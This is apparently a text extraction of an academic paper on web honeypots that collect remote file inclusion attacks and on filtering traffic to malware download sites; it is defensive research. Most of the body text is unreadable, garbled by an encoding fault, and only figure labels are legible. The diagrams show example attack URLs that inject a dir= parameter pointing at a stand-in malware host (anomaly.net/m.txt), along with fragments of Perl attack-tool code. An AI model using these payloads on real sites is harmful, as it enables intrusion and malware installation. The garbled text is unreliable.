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 ,4�
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2) Search for targets.

http://anomaly.net

Attacker
http://www.ex.com

Search 
engine

Malware 
download 

site
Target 

website m.txt
Malware

3) Send HTTP request 
message.

1) Prepare malware 
download site.

4) Target website 
downloads malware.

m.txt
5) Receive HTTP response 
message.

3) Example
http://ex.com/vulne/login.php?dir=http://anomaly.net/m.txt

URL of malware 
download site

Attack code

E	���� ���< 6���!7 +��!�����

	��	�!�		���� ����!7�
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 �� ���$�
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Website

Website

Internet

Website

Website

Anti-virus software

Anti-virus software

Network security 
appliances

Defense on servers

Defense on the network

Attacker

Malware 
download site

m.txt

m.txt

- Install anti-virus software.
- Anti-virus software for 
servers has low detection 
accuracy.

- Place security appliances 
between the Internet and 
websites.
- High possibility that access 
from attacker and access to 
malware download site can 
be filtered.

Internet

Cloud environment

Cloud environment

Attacker

Malware 
download site
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Attacker can illegally control 

website

Website 

manager

Attacker

Software

-Control websites 

according to orders 

from remote 

terminals

Website

Website

Install same 

software

Website manager can control 

and maintain website
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-Honeyd

-Honeytrap

-DShield Web Honeypot

-Glastopf

-Epic Web Honeypot

-Amuna

1. High interaction

4. Client3. Server

2. Low interaction

-Google Hack Honeypot (GHH)

-High Interaction Honeypot Analysis Tool (HIHAT)

-HoneyStick

-Honeyclient

-SHELIA

-Capture-HPC

-Monkey-Spider

-Omnivora

-Nepenthes

-Mwcollectd

-SWiSH

-HoneyBOT
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WAFs filter access to target websites by 

using signatures that are generated based 

on exploit codes

Samples of exploit code
http://ex.com/vulne1/login.php?dir=

http://ex.com/vulne1/login.php?n=0&dir=

http://ex.com/vulne1/login.php?n=0&a=0&dir=

Exploit code

Meaningless codes that are 

disregarded by web application 

programs.

Attacker Target website

(http://www.ex.com)

Sends attack access including exploit codes
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$durl=$host.”/”.$path.$mdsurl

$req=HTTP::Request->new(GET=>$durl)

Attack tool

List of $host

List of $path
bbs/vulne/read.php?dir=
inc/index.php?path=

Attacker 404 not found Web honeypot
(http://h.com)

Incompatible

Path structure
vulap
|--vulne
|     |--login.php
|     |--send.php
|     |--write.php
|     |--read.php
|
|--bbs
|     |--write.php
|     |--read.php
|
|--manage

|--login.php
|--index.php

http://h.com/bbs/vulne/login.php?dir=http://anomaly.net/m.txt

$host $path

・・・

・・・

・・・

・・・

・・・

URL of malware 
download site

Function to send 
new HTTP request 
message

Function to use get 
method
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!��#�  � ����!���  / ��	�� ��� 7��$� �����

&>!�+� ��� �!!����� ���������  / !��$#��� ��� ����!� ���	���
 	� 	� �	��#/ +�� � #�

���� � #���� �� �� �� �!!����� ��!�	���  / $� ����/+��� ��� ���������  / ����!7���

 �!���� ����� 	� �� ������ ��� � ����# ���� �� �!!��� $� ����/+���� �� ����� 	� � �	��

���++�����!� �� �!!��� !����!���	��	!� �� $� ����/+���
 ��!� �� �� ��������� �� ����!7

����!�� ��� �#$��� ��$�#��� �	���
 ��� �!!��� !����!���	��	!� �/  � �����# ��� ����!�	��

�#$��� 	���!�	��� "+�!	C!�##/
 	� ��� �� ��������� �� ����!7 ����!�� ��� �#$��� ��$�#���

�	���
 $�	!� ��� !�##�!���  / $� ����/+���
 ��� ���	������ 	� ���  #�!7#	��
 $� �/  � � #�

�� ����!� ��/ ����!7�  / ��	�� ���  #�!7#	��� �� �����# �� �!���# ����!7 �	����	��
 $�

���#����� ���  #�!7#	��  / ��	�� �!!��� ���� ���� $��� !�##�!���  / $� ����/+��� 	� ���

���#���	�� ���	��������

�� ������ ����
 $	�� ���  #�!7#	��
 $� !����� ����!� �� ��������� ���� ��� ���� ��� ���

C��� �	�
  �� $� !�� ����!� �� ��������� ���� ��� ���� ��+�����#/  �!���� ��� �� ���������

$	## ���� �#����/  ��� ��	�����  / $� ����/+���� ����
 ��� ����!�	�� ���	� �� ����!7

����!��  / ���  #�!7#	��
 ��+�������� �� �
 ��� ��� ����!�	�� ���	� �� �#$��� ��$�#���

�	���
 ��+�������� �� � 
 �/  � ���#�����  / ��� ���++�����!� �� ��� ����!7 ����!�� ���
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�� #� 4��.< 1��++�����!� ���	��

����# �� ��������� ���� ����!�	��
 / ����!7 ��#/ ���	�

�� �� �� 4
A,� ', � L'5�'R
����!7�

�� �� �� �#$��� ,
AAA 4* � L'=�(R
��$�#��� �	���

Attacker
Web

honeypot

Web 

honeypot

Website

Malware 

download 

siteAttacker

98% of attack sources were 

used repeatedly

98% of malware download 

sites were used repeatedly

Filter traffic to malware 

download sites monitored on 

web honeypots are effective

Filter traffic from attack 

sources monitored on web 

honeypots are effective

E	���� 4���< ����!�	�� �����  / ��	�� ���Æ! +�������

!���! $����� �� ��� ��������� �� /��������

��� ����#�� �� ��� ���#/�	� ��� #	���� 	� �� #� 4��.� 6 ����# �� 4
A,� ����!7� $��� ��	�����

�� ��� $� ����/+���
  �� ����� $��� ��#/ ', ����!7� ���� ��� ��	F�� ����!7�� ����!� ��

���������� ��	� �������� ���� � ��� '=R �� ����!7� ��� ��� ��� ����!7�� ����!� �� ��������

E���������
 ,
AAA ����!7� ���� �#$��� ��$�#��� �	���
  �� ��#/ 4* ����!7� ���� ��	F��

�#$��� ��$�#��� �	���� ��	� �������� ���� � ��� '=R �� ��� ����!7� ���� ���� �#$���

��$�#��� �	��� ���� ��� ��� �#$��� ��$�#��� �	�� �� ����� ����!7�� ����
 � ��� '=R ��

����!7 	������	�� ���++������
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�� #� 4���< 9	��� �� �#$��� C#��

�/+� �� �� �� ��
�#$��� �#$��� C#��

"��	��� ��������� ��.

�������	�� 	�����	����� �'�

��$�#����� ,

)�� ��������� A(

6������ �����# ����� ��� ����!�	�� ����!7� 	� !��!7	�� ���Æ! +������� ��!� �� ����!�

�� ��������� �� ���Æ! �� $� �	��� ��� ����	���	�� �� ��������� �� ���Æ! ��� $� �	���
 ���

!��!7	�� 	� ����� +������� ��� !���	����� $	�� ��� ���Æ! +������  ��$��� $� ����/+���

��� �� �>�����# ���$��7
 �� ���$� 	� E	�� 4���� �� ��!�
 ��	� ����!�	�� ����� 	� �����!��

$	�� ��� $� ����/+���
 $�	!� $��� ���!�	 �� 	� ��	� !��+���� )�!���� ��� $� ����/+���

!�� �>�!��� ��$�#������ ��� ��F����	�# ����!7�
 ���/ !�� !�##�!� �!� ��� 	������	��


��!� �� ����!7�� ����!� �� ��������� ��� �#$��� ��$�#��� �	���
 ���� !������	���# $� 

����/+���� 6� � ����#�
 ��� �� �� �� ����!7� ����!��� $	�� ��	� ����� 	�!�������

%�%  �
��

���

!�!�� &��'��� 0�������������� ��( ��������� $�����

�� ���!�	 � ���� ��� ���� �/+�� �� �#$��� !�##�!���  / ��� $� ����/+���
 $�	!� ��� #	����

	� �� #� 4���� 6� �����	�$ �� �#$��� ���� ����� �+�!	C! ������� �� �� ����!7�� 	� ���$�

	� E	�� 4��,
 ��� �� �����	�$ �� �#$��� ���� !�##�!�� ������ 	������	�� ��� ����� 	� ��

�� ����!7�� 	� ���$� 	� E	�� 4��(� E���������
 �� �����	�$ �� �#$��� ���� ��$�#����

����� �#$���
 ��!� �� � ��$�#�����
 	� ���$� 	� E	�� 4��4
 ��� �� �����	�$ �� �#$���

���� ��� #�� �� ����!7�� �� !�����# �� 	���!��� ������ 	� ���$� 	� E	�� 4��*�

��� C��� �/+� �� �#$��� ����� �	+#� �+�!	C! ���	��� �� �� ����!7��� ��� ����!7��

7��$� $������ ��� ������ $� �	�� !����	�� ��#���� #� $� �++#	!��	���  / !��C�	�� ���

- 4( -



$	$ ����������

Target website

HTTP response message

Execute 

malware

Attacker

Send strings, 

such as 

“vulnerable”, 

to attacker by 

using HTTP 
response 

message

Confirm 

whether website 

is vulnerable by 

checking 

whether there is 

“vulnerable” in 
HTTP response 

message

E	���� 4��,< E	��� �/+� �� �#$���

Target website

Execute 

malware

Attacker

Send sever 

information 

such as host 

name, IP 

address, OS 
and kernel 

version 

Receive version 

information, 

which is useful 

to hack website

by using various 
attacks

HTTP response message

E	���� 4��(< "�!��� �/+� �� �#$���

�>	����!� �� ��� ���	��� 	� ������� ��� ��� ������ $� �	��� )/ ��	�� ��	� �#$���
 ���

��!7��� !�� �������� � ������ #	��
 	� $�	!� ��#���� #� $� �	��� ��� ���!�	 ��
 �� �	���	 ���

��� �#	!	��� �#$��� $	�� � �	���� ��!!��� ����� �� 	� �	Æ!�#� ��� ��!��	�/ ������� ��

K���� $������ ����$��� ��� �������	�� �	+#� ���	��� 	� �#$����

��� ��!��� �/+� �� �#$��� ��$�#���� ��� ����� $� �	�� 	������	��
 ��!� �� ��� ����

���
 �� �������
 :"
 ��� 7����# ����	��
 �� �� ����!7��  / ������	�� �� ��� ���	������

�� ��� $� �	��� 6���!7��� !�� � ��	� 	������	�� �� ��!7 � $� �	��  / ��	�� ��	� �#$����

6��	��	��� ����$��� !����� ����!� ��	� �/+� �� �#$��� �	�!� ��!��	�/ ������� K���� ���

+����� ��  � #��	�	���  �!���� ��	� 7	�� �� +����� �/  � ����  / $� �	�� �������

	� ����	�� ���	� $� �	��� E�� �>�+#�
 $� �	�� ������� ������##/ �+���� ��� :" ���

7����# $��� � ��$ ����	�� 	� ��#�����
 ��� ��	� 7	�� �� +����� 	� �����# ��� �����

��� ��	�� �/+� �� �#$��� ��#/ ��$�#���� ����� �#$���� ��	� �#$��� ���!�� � ������

$� �	�� �� ��$�#��� +	�!�� �� � �#	!	��� +������ 6���!7��� ��/ �� !��!��# ���	� 	�����	��

��� ��!��	�/ �++#	!��	��� �	�!� ��	� �#$��� !�+#	!���� ��� ����� �� 	���!�	��� 6��	��	���
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Target website

Execute malware

Malware download site

Other malware

Execute other malware

Download 

other 

malware 

(called 

downloader)

E	���� 4��4< ��	�� �/+� �� �#$���

Make connection

Target website
Command and 

control server

Execute malware

Attacker

Control target such as 

bot

Send order

Forward order

Execute order

（send attacks to other websites etc）

E	���� 4��*< E����� �/+� �� �#$���

����$��� !����� ����!� ��	� �/+� �� �#$���  �!���� ��!��	�/ ������� K���� ����$��� ���

��$�#���	�� ����� C#�� ��  � #��	�	����

��� #��� �/+� �� �#$��� 	� ��� ��� �#	!	���� ��	� �#$��� �7�� � !����!�	��

�� �  �!7���� ��� �� ����!7�� ��� �##�$� �	B��� �� !�����# ��� ������� 6���!7��� !��

	##���##/ !�����# � ������ �� �  ��  / ��	�� ��	� �#$���� :����� ��� ��� ����!7�� ���

���� �	� � !���������!�����# ������
 ����##/ ��	�� �13 ��� ����� �� �/  � �	Æ!�#�

��� ���	�	��� ����$��� �� ����!� ��	� �/+� �� �#$���  �!���� ����� ��� ��� ��/ �#$���

���	��	�� �� �7� ������ +������ C#�� �� ����!� �## �#$����

E�� �>�+#�
 ����!7��� !�� ��� ��/ ���	��� �� ��� C��� �/+� �� �#$��� �� 	� 	� 	+���	 #�

��� ��!��	�/ ������� �� �������� +������ C#�� ��� �## �#$���� �� �� ����!7 ��	�� ��� C���
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Attacker Malware 

download 

site

Target 

website First-

type 

malware

Malware 

download 

site Fourth-

type 

malware

malware

malware

Execute fourth-type malware

Make connection with command and control server

Send another 

attack if attacker 

can receive 

message from 

malware

Execute first-type malware

Send attack to distribute first 

type malware

Send attack to distribute 

fourth-type malware

E	���� 4��A< "�F����	�# ����!7

�/+� �� �#$���
 ����!7��� !�� C�� ��� $������ ��� ������ $� �	�� ��� ��#���� 	#	�	���

6� � ����#�
 	� ����!7��� +����� ��7��$� �#$���  / �����#	�� !������	���# �#$���


����!7��� !�� ���!� ������ $� �	��� �� ��!!�����##/ ��$�#��� ��� �>�!��� ��� �#$���  /

� ��	�� ��� ��#���� 	#	�	��
 �� ���$� 	� E	�� 4��A�

!�!�� %�	� �� *�� +����,��� ��( ��������� $�����

���� ���Æ! +������� �� $� ����/+��� ��� ���� ��� ����!�	�� �#$��� 	���!�	��� �� $� �

�	���
 $� �	��� �/ ��!�	�� ��$ ����!7�  ����� ��� $� ����/+��� ��!�	�� ���� ��	� �	�7

!��  � +��������  / #�!��	�� ��/ $� ����/+��� �� ��/ �� �������  #�!7�
 #�!��	���


��� ���	�� �� ��!�	�� ����!7� �� F�	!7#/ �� +���	 #��

���/ ����!7� ��� ���������  / ����# ���� ���	��#� ��� $� �	��� �#����/ ��!7��  /

����!7���� ���������
 ����# ���� ���Æ! �/ ���� ��� ��� ����!� �� ������� �� ����!7
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Service provider environmentInternet

Reverse proxy 

(transparent type)

Website

Website

Website

…

.

Attacker

User

Malware 

download site

Compare received traffic and files with traffic and malware that are 

monitored on web honeypots

Filter traffic and files that are 

monitored on web honeypots

…

.

E	���� 4��5< ����!�	�� ����� 	� ����	!� +���	��� ���	������

���Æ! �� $� �	���  �!���� ��� ���� �/ ��� ��� ��� ���	��# �� ��� ����!7���� �� ��	�

!���
 ��� +��+���� ����� �� ��	�� ���Æ! +������� ��������� ��#�� +��	�	���� �� ��#�� ��	�

+�� #�
 � ����!�	�� ����� ��� ��	���	�� ���Æ! +������� ��� ��� C#� !����!���	��	!�

��� ��	���	�� $������ ��� !����!���	��	!� ��!�	���  / $� �	��� ��� ��� ��� �� ����� ��

C#�� ��!�	���  / ����/+��� 	� �G�!�	��� �� ����	!� +���	��� ���	�������
 � �����+�����

������� +��>/ 	� �����# ��� !��!7	�� ���Æ!  ��$��� ��� �������� ��� $� �	���� 6� ���$�

	� E	�� 4��5
 ��� ������� +��>/ 	� ��� �� ���  ������/  ��$��� ��� �������� ��� ����	!�

+���	��� ���	�������� �� ���	�	��
 ��� ������� +��>/ !����	�� ���Æ! ���� ��� �#$���

��	�����  / $� ����/+���� ���� ��� ������� +��>/ ��!�	��� ���Æ!  ��$��� ��� ��������

��� $� �	���
 	� �����	��� $������ ����� ���Æ! ���� ��� C#�� ��� ��� ��� �� ��� ���Æ!

���� ��� �#$��� ��	�����  / ��� $� ����/+���� :� !�����
 ��� ������� +��>/ !�� !����	�

���	��	��� ����$��� �� ��� ��� �	�� ���������
 ��� ������� +��>/ !�� ����!� ����!7� ��

$� �	��� $	�� �	���� +�� � 	#	�/�
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Internet Service provider environment

Web honeypot

Website

Website

…

.

Attacker

Malware 

download site

Command 

and control 

server

Log data

on web honeypot

(e.g. syslog)

Check log data on 

websites whether 

websites have already 

been attacked.

E	���� 4��=< ����!�	�� �����  / ��	�� #�� ����
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 / ����!7���� ���/ ����!7� ��� ���������  / ���� ���	��#� ��� $� �	��� 	���!���  / �#�

$���
 �� $� !�� �+�!	�/ 	���!��� ���� ���	��#� ��� $� �	���  / ��	���	�� ����!7 ����!��

��� �#$��� ��$�#��� �	���� 6��	�	���##/
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+������� 	� ��� #�� ���� ��� ��� ��� �� ����� �� $� ����/+��� ���� �#����/  ��� ����!7��

��� 	���!���  / �#$���� ���� ����	!� +���	���� ��� �	���	�����!�	�� $� ����/+���
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!�� � ��	� #�� ����
 ��!� �� �/�#��
 ��� �!���# ��#���� #� $� ������ �/���� 	� �	���

	�����!�	�� $� ����/+���� ���������
 	� 	� ���/ ��� ����	!� +���	���� �� !�+��� #�� ����

�� $� �	��� $	�� #�� ���� �� ����!7� ��!�	���  / $� ����/+���
 �� ���$� 	� E	�� 4��=� ��	�

����!�	�� ����� 	� �����# ��� ����!�	�� �#$���  ����� ��� ����� 	���!�	���

�� ����!� �#$��� ����!7� �� $� �	���
 ��	� ���$��7� ���� ����!�	�� �����
 $�	!�

��	���� ��� +������� �� ���Æ! �� $� �	���
 	� ��� �G�!�	�� ���� ���	��#� ���� ����!�
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��!��	�/ �++#	��!�� ��� �����# 	� ����!�	�� ���Æ! +�������� E�� �>�+#�
 ����	!� +���	����

!�� +����!� $� �	��� ��� ��� ������ �� �#$��� �!!���	�� �� ��� !��C�����	��� �� ���Æ!

+������� �� �	�������� �� ���$��7 �++#	��!��  ��$��� $� ����/+��� ��� ��� ���������

%�. ������
���


�� +��+���� � +���	����+���	�	���� $� �	�� +����!�	�� �!��� ���� �+�!	C�� ��"� ��	��

$� ����/+��� ��� C#��� �!!����� ��� $� �	��� �� ��"�� ��� +��+���� �!��� ��!����

�� ��� !����!���	��	!� �� $� �	��� �!!���	�� ��"� ���	�� �� ����!7� ��� +��+���� �!���

!�� ���� ��+#�/ +����!�	�� ��!���#��/ ���� C#���� �!!����� ��� $� �	��� �� ��� ��"�� ��

���	�	��
 	� ��!���� �� ��� �+�!	C! !����!���	��	! �� ����!7� �� $� �	��� 	� $�	!� �>+#�	� !����

��� �>�!���� �� ���� ��F������ )/ ��	� !����!���	��	!
 ��� +��+���� �!��� !�� !������!�

� $� ����/+�� ��� $�	!� 	� 	� +���	 #� �� �>���!� ��� 012� �� ��"� ������	!�##/�

��!	�����##/
 	� 	� ��!�����/ �� ��� ����� �!��� ���	��� ��� ����!7�
 ��!� �� "M2 	�K�!�	��


���� �� ��� ��� ��"�� �� !�����+��� $	�� ��	� �/+� �� ����!7
 ��� !�����##�� !��C��

$������ ��� !������� �� ��!�/ $� �	��� ��� !������  ����� ��� ����� �� �!!���  / ��	�� �

���# ��!� �� � ��	+$	�� �A.�� �� ����� 	� � �	G����!�  ��$��� ���  ����� ��� ����� !������

�� ��!�/ $� �	���
 ��� !�����##�� �>���!�� ��� ����!� �� ������� ��� ��� �!!��� #��� ���

C#���� ��� �!!��� ��� ��� ����!� �� �������� )/ ��	�
 ��� +��+���� �!��� !��  � ����

�� +����!� $� �	��� ��� ����!7� ���� �� ��� ��� ��"�� �� �#�� !��  � ���� �� +����!�

$� �	��� ��� ��� ��#/ ����!7� ��	�� $� �	��� �� ����!7 +#������  �� �#�� ����!7� ��	��

$� �	��� �� ��"�� )/ +����!�	�� $� �	��� ��� ��!� ����!7�
 ����	!� +���	���� !�� ������/

����!7 +#������� 6� � ����#�
 � ����	!� +���	��� !�� +����!� ��� ��#/ $� �	���  �� �#�� ����

���	��#� ��� �#$��� 	���!�	���� )/ ��	�� ��� +��+���� �!���
 � ����	!� +���	��� !��

+���	�� !�����G�!�	�� ��� ��!��� ���$��7	�� ���	��������

�� ���	�	��
 $� ���#����� ��� ���#/J�� �#$��� 	���!�	�� +������	�� ������ ��� $� �

�	���  / ��	�� $� ����/+��� !����!��� �� ��� ��������� �� 	�����	����� ��� ����!�	�� ���	�

�� ���	��	��� ����$��� �� �#$��� �	���	 ���� �� $� ����/+���� ��� ����#�� ���$ ���� 	�

	� �	Æ!�#� �� ����!� � #���� ����� �� �#$���  / ��	�� ���	�	��� ����$���  �!���� ���
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 ��!� �� $� �	��� �������
 �� ����� �	� ��!�

�� �������� ����$��� ����	��� �� $� �	���� :�� 	�����	���	�� �#�� �����#�� ���� ���Æ!

+������� �� ����!7��� �++��� ��+�����#/ �� $� ����/+��� 	� ���/ !�� ������	!�##/ ���

����#/ !�##�!� � #���� ����� �� ����!7 	������	��
 #	7� ��� $� ����/+���� )�!���� �� ��	�

���++�����!�
 ��� �!!��� C#���	�� ����� ��� ����!�	�� �#$��� 	���!�	��  / ��	���	��

��� ��� ���Æ! +������� $	�� $� ����/+��� 	� �G�!�	�� ��� ����!�	�� �#$��� 	���!�	���

�� $� �	����

"���	!� +���	���� !�� ��� ��!� � ����� �� +����!� $� �	��� ��� �#$��� 	���!�	��

$	�� �	�� +�� � 	#	�/
 �##�$	�� ��� �� !������!� ��!��� +#������ ��� $� �	����
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.�� "��	���!	�� +	, ���	����

�� ��#�� ��	� +�� #�
 $� +��+��� � �!��� 	� $�	!� �� ���� ���$���	�� ���!�	��
 $�	!�

��� 	������	�� �� � +��� ����!���� �� � �	���	�����!�	�� $� ����/+��
 	� #�!����  ��$���

��� $� ����/+�� ��� ��� ��������� ��� ���� ���$���	�� ���!�	�� ��� ����� 7�/ ��������


� +��� ���#/J��
 � !�!�� �� #�
 ��� � !������	�� �#���	��� ��� +��� ���#/J�� !��!7�

$������ � +��� 	� � ����	���	�� 012 �� �� ���� ��F���� ������ ��� ��� �������� �� ���

$� ����/+�� !�����+���� �� ��� +��� ����!���� �� ��� $� ����/+��� �� ��� +��� ���� ���

!�����+���
 ��� ���� ���$���	�� ���!�	�� !������� ��� 	�!����!� +��� �� ��� !����!� +���

�� ��� $� ����/+�� ��	�� ��� !�!�� �� #� ��� ��� !������	�� �#���	��� ��� ��##�$	�� 	�
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Attacker
Web honeypotHTTP forwarding function

Path
analyzer

Cache 
table

Algorithm

Path structure of 
web honeypot

vulap
|--vulne
|     |--login.php
|     |--send.php
|     |--write.php
|     |--read.php
|
|--bbs
|     |--write.php
|     |--read.php
|
|--manage

|--login.php
|--index.php

Destination URL�
http://h.com/vulap/vulne/login.php?

dir=http://anomaly.net/m.txt

���

path_1

Forward these data because 
their path in destination URL  
corresponds with path_1

E	���� *��< ���� ���#/J��

1���� "��� �����2��

6 +��� ���#/J�� ��	���� � +��� 	� � ����	���	�� 012 �� �� ���� ��F���� ������ ��� ���

�������� �� � $� ����/+��� ��� ���!�	�� ��!���� ��� +��� ����!���� �� ��� $� ����/+��

	� �����!�� ��� ���#/J�� �#�� !��!7� � +��� 	� � ����	���	�� 012 �� ����!7� ��� !�+����

��� +��� $	�� ����� 	� ��� $� ����/+�� ��	�� ��� ��!��� ���� �� ��� +��� ����!����� ��

��� +��� 	� ����� 	� ��� $� ����/+��
 ��� ���� ���$���	�� ���!�	�� ���$���� ��� ����

���� �� ��� $� ����/+��
 $�	#� �	���	�	�� ��� ����	���	�� 012� E�� �>�+#�
 ��� +���

	� ��� ����	���	�� 012 !�����+���� �� +��� �
 �� ���$� 	� E	�� *��� �� ��	� !���
 ��� ����

���$���	�� ���!�	�� ���$���� ��	� ���� ���� $	����� 012 !������	��� :� ��� ����� ����


	� ����� 	� �� +��� ����� 	� ��� $� ����/+��
 ��� ���� ���$���	�� ���!�	�� ����+�� ��

!������ ��� +��� 	� ��� ����	���	�� 012 �� � !����!� +��� ��	�� � !�!�� �� #��
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Attacker Web honeypotHTTP forwarding function

Path
analyzer

Cache 
table

Algorithm

Path structure of 
web honeypot

vulap
|--vulne
|     |--login.php
|     |--send.php
|     |--write.php
|     |--read.php
|
|--bbs
|     |--write.php
|     |--read.php
|
|--manage

|--login.php
|--index.php

Incorrect path Correct path

bbs/vulne/read.php    vulap/bbs/read.php
inc/index.php             vulap/manage/index.php
vulap/send.php          vulap/vulne/send.php

Destination URL�
http://h.com/inc/index.php?

dir=http://anomaly.net/m.txt

���

Destination URL�
http://h.com/vulap/manage/index.php?

dir=http://anomaly.net/m.txt
Convert by entry_1 

of cache table

entry_1

E	���� *�,< 3�!�� �� #�

1���� 0���� �����

��� ���� ���$���	�� ���!�	�� ��� � !�!�� �� #� 	� $�	!� ����	�� ��� !�+���� �� ��

����!7 +���
 $�	!� 	� #	7�#/ ����  / ����!7���
 ��� � !����!� +��� 	� $�	!� � ��#���� #� $� 

�++#	!��	�� 	� 	����##���

��� ���� ���$���	�� ���!�	�� #��7� �+ ��� 	�!����!� +��� 	� ��� !�!�� �� #�� �� ��	�

���!�	�� C��� �� ����/ 	� $�	!� ��� 	�!����!� +��� 	� ���!�	 ��
 	� !������� ��� 	�!����!�

+��� �� � !����!� ���
 $�	!� 	� ���!�	 �� 	� ��� ����/
 ��� ���$���� ��� ���� ���� ��

��� $� ����/+��� E�� �>�+#�
 ��� +��� 	� ��� ����	���	�� 012 !�����+���� �� ����/ �


�� ���$� 	� E	�� *�,� �� ��	� !���
 ��� ���� ���$���	�� ���!�	�� !������� ��� +��� 	�

��� ����	���	�� 012 �� ��� !����!� +��� ���!�	 �� 	� ����/ �� :� ��� ����� ����
 	� ���

���!�	�� !����� C�� �� ����/
 	� ����+�� �� !������ ��� +��� 	� ��� ����	���	�� 012 ��	��

��� !������	�� �#���	�� ���!�	 �� 	� ��� ��>� ��!�	���

��� �+������ ���� ��� 	�	�	�# ����	�� �� ��� !�!�� �� #� ��	�� ��� ���#/�	� ���� �� ����!7

���#� ��� !������	���# ����!7�� �� ���	�	��
 ��� �� #� 	� �+����� $	�� ���	�	���# ����	��
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Attacker Web honeypotHTTP forwarding function

Path
analyzer

Cache 
table

Algorithm

Path structure of 
web honeypot

vulap
|--vulne
|     |--login.php
|     |--send.php
|     |--write.php
|     |--read.php
|
|--bbs
|     |--write.php
|     |--read.php
|
|--manage

|--login.php
|--index.php

Destination URL�
http://h.com/vulne/login.php?

dir=http://anomaly.net/m.txt

���

Destination URL�
http://h.com/vulap/vulne/login.php?

dir=http://anomaly.net/m.txt
Convert by path_2 
of path structure

path_2

path_3

http://h.com/aaaa/bbbb/cccc/dddd/x.php

File 
name

Directory 
name

Host
name

name_1

name_2

Check correspondence
in this order 

E	���� *�(< 3������	�� �#���	��

��������� ��	�� ��� !������	�� �#���	�� ���!�	 ��  �#�$�

1���� 0��������� ��	������

��� ���� ���$���	�� ���!�	�� ��!���� �� �#���	�� ��� 	�!����!� +��� !������	�� ���

����+�� �� !������ �� 	�!����!� +��� ��� ���!�	 �� 	� ��� !�!�� �� #�� �� ��� +��+����

�!���
 ��� ���� ���$���	�� ���!�	�� !������� ��� 	�!����!� +���  / �����	�	�� ���

!����!� +��� �� ��� $� ����/+�� ��� ��� �		#��	�/  ��$��� #�$�� +����� ��	� �#���	��

	� �>+#�	��� 	� ����	#  �#�$�

E	���
 ��� ���� ���$���	�� ���!�	�� ����!��� ��� ��� C#� ���
 $�	!� 	� ���!�	 ��

	� ��� 	�!����!� +���
 ��� ���� �� C#�� �� ��� $� ����/+��
 $�	!� ��� ���!�	 �� 	� ���

+��� ����!���� �� ��� $� ����/+��� �� ��� C#� ��� !��  � �����
 ��� ���� ���$���	��

���!�	�� ���+� ��� !������	�� �� ��� ����	���	�� 012 ��� ���$���� ��� ���� ���� �� ���

$� ����/+��� :� ��� ����� ����
 	� ��� C#� ��� !��  � ����� ��� ����� 	� ��#/ ��� +���

���� ��� ��� ��� C#� ���
 ��� ���!�	�� !������� ��� 	�!����!� +��� �� ��� !����!� +����
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6� ��� ��� �	�
 ��� +���� �/  � �����  �!���� C#�� $	�� ��� ��� ��� �/ �>	�� ��

� $� ����/+��
 ���$� �� +��� , ��� +��� ( 	� E	�� *�(� �� ��	� !���
 ��� ���� ���$���	��

���!�	�� !�+���� ��� �	��!���/ ���� ���� ����� ����� C#��
 ���$� �� ��� � ��� ��� ,

	� E	�� *�(
 $	�� ����� ���� ����� ��� C#� �� ��� 	�!����!� +���
 +��� , 	� E	�� *�(
 ���

��#�!�� ��� +��� ���� ��� ��� ��� �	��!���/ ��� $	�� ��� 	�!����!� +���� �� $� !�����

��#�!� ��� +��� ��� �## ��� +����
 $�	!� ����� ��� ��� C#� ��� $	�� �� 	�!����!� +���


��� ���!�	�� ���+� ��� !������	�� �� ��� ����	���	�� 012�

����
 	� ��� +��+���� �!���
 ��� ���� ���$���	�� ���!�	�� !������� �� 	�!����!� +���

�� � ����	���	�� 012 �� � +��� ��#�!��� �!!���	�� �� ��� �		#��	�/ �� ��� C#� ��� �	��!���/

���� �� � #�$�� +���� �	�� ��	� �!���
 	� 	� +���	 #� ��� ����!7� $	�� 	�!����!� +����


$�	!� ��� #	7�#/ �� ������ $� �++#	!��	��� �� � $� ����/+��
 �� ��!!���� 3����F����#/
 �

��#���� #� $� �++#	!��	�� ��!�	��� ��� ����!7 ��� ��� ����#� 	� �����	���� �� ��� ����!7��

 / �� ���� ���+���� ������
 #���	�� ��� ����!7�� ��  �#	��� ��� �	�� ���  ��� 	���!����

.�� #��������� �� �����
	 ���	���� �� ����	������� +	,

���	����

:�� �� ��� �	� ������� �� ��+#�/ �	���	�����!�	�� $� ����/+��� 	� �� �##�$ ����!7���

�� ��	� ��## �!!��� �� �/���� ��� �� �##�$ ��� �� #���!� ������� ���$��7 ����!7�  /

�>�!��	�� �#$���� )/ ����	�� ���� ���+���� ������� �� ����� �/+�� �� ���Æ!
 $�	!�

��� ���������  / �>�!���� �#$���
 �� ����!7���
 ��� $� ����/+�� !�� ��	!7 ����!7��� 	���

��!���	J	�� ��� $� ����/+�� �� � ��#���� #� $� �	��� �� ���	�	��
 ��� $� ����/+�� !��

!�##�!� �#$��� ��$�#����� $	�� � ��$�#�����
 $�	!� 	� �	���	 ���� ��	�� �� �>+#�	� !���

 / ����!7���� �� ����� !����
 ��� ����!7 ��!!��� ���	� 	� 	+������  �!���� �� �#$��� 	�

��$�#����� ��� �>�!���� 	� ����!7� ��	#� �� !��C� ��� �G�!� �� ��� +��+���� �!����


	�!#��	�� ��� !�!�� �� #� ��� !������	�� �#���	��
 	� 	� ��!�����/ �� ���#���� ��� ����!7

��!!��� ���	� 	+�����  / ����� �!����� �� 	� �#��  ����� �� ���#���� ��� ���	�  / ��	��

�!���# ����!7 ���� ��� ��� ���������
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RouterInternet

Surveillance 

function

Web honeypot

：Virtual machine

Decoy website

・CentOS5.2/Apache2.2/MySQL4.0/

PHP web application

Decoy website

・CentOS5.2/Apache2.2/MySQL4.0/

PHP web application

Web honeypot
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Active period (period covering placement of the same malware)

File monitoring
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download site
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�Remove 
as target 
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Attack 
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�Recognized 
as a malware 
download site

False positive
period

False negative
period

Malware 
changed
�Continue 
filtering

Original 
malware is 
replaced by 

different 
malware.

Malware 
removed

Malware 
loaded 
again

E	���� A��< 6!�	�� +��	�� �� �#$��� ��$�#��� �	��

�� #� A��< D�������� !���	�	��

��� ��  #�!7#	�� :�  #�!7#	��

"	�� ��� ���� �� � ���� �����	�� E�#�� +��	�	��
�#$��� ��$�#��� �	��

"	�� ���� �� � E�#�� �����	�� ���� +��	�	��
�#$��� ��$�#��� �	��

 #�!7#	���� ?���� �����	�� ?��@@
 � ��#�� �����	�� ?E�@ �!!��� 	� �#$��� 	� +#�!�� ��

���� �	��� :� ��� ����� ����
 � ���� +��	�	�� ?��@ !�� �!!�� 	� ���� �	�� 	� �� ��F����#/

�	�!������ ��  � � �#$��� ��$�#��� �	�� ��� 	�� 012 	�  #�!7#	����� 0���� ��	� !���	�	��


